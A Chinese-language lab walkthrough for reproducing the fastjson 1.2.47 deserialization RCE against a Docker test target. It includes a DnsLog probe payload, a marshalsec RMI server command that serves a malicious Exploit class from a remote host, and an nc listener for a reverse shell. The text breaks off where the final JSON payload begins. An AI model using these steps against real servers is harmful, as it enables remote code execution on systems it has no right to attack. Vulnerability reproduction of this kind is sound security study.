影响版本
fastjson <=1.2.47
环境搭建
环境
理想状态:
- 两台服务器:一台搭建漏洞环境;一台作为攻击者的远程vps。
- 我的状态:一台服务器,docker搭建环境,主机进行测试。
搭建
BUUCTF靶场中搜索fastjson
docker hub进行安装
docker pull initidc/fastjson1.2.47_rce
端口8090
github下载docker-compose.yml
访问
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
复制docker-compose.yml内容,进入到自己服务器目录中创建同名文件后执行 docker-compose up -d
漏洞复现
0x00
靶机JDK为8u102,此版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,所以可以利用RMI进行命令执行。
DnsLog探测Fastjson反序列化的几种方法
根据实际情况进行探测:
1 | {"name":{"@type":"java.net.InetAddress","val":"DnsLog"}} |
0x01
下载利用工具
https://github.com/CaijiOrz/fastjson-1.2.47-RCE.git
编辑Exploit.java文件
1 | public class Exploit { |
对文件进行编译。
1 | javac Exploit.java |
启用RMI或LDAP服务并监听8888端口
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer `http://ip:port/#Exploit 8888` |
另开一个窗口,在Exploit.class的目录下开启临时端口6666
1 | python3 -m http.server 6666 |
再开一个窗口,监听7777端口
1 | nc -lvvp 7777 |
抓包发送payload
1 | { |